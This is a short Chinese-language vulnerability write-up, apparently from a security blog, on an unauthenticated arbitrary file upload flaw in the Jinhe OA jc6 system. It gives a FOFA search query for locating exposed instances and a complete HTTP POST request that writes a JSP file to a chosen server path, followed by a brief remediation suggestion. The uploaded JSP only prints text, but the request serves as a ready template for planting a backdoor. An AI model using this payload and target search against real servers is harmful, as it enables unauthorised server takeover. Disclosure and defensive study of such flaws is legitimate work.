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Published on 2024-08-30 / 2 Visits
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J1-16金和-OA-文件上传

J1-16金和-OA-文件上传

漏洞描述:

金和OA jc6系统/jc6/ntkoUpload/接口处存在任意文件上传漏洞,未经身份认证的攻击者可利用此漏洞上传恶意后门文件,最终可导致服务器失陷。

影响版本:

  • 金和 OA

网络测绘:

fofa语法:

FOFA:app=“金和网络-金和OA”

漏洞复现:

payload:

POST /jc6/ntkoUpload/ntko-upload!upload.action HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5iALAXlSiqxJXrhK
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.67
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundary5iALAXlSiqxJXrhK
Content-Disposition: form-data; name="filename"

././upload/a.jsp
------WebKitFormBoundary5iALAXlSiqxJXrhK
Content-Disposition: form-data; name="upLoadFile"; filename="a.jpg"
Content-Type: image/jpeg

<% out.println("Hello, World!"); %>
------WebKitFormBoundary5iALAXlSiqxJXrhK
Content-Disposition: form-data; name="Submit"

upload
------WebKitFormBoundary5iALAXlSiqxJXrhK--

效果图:
f9252418d5bd4592b697d5a69dcc9775.png
PS:上传路径为请求体自定义的文件路径
验证

修复建议:

修复金和OA jc6系统的/jc6/ntkoUpload/接口,确保实施身份验证和文件类型检查,以防止未授权的文件上传。


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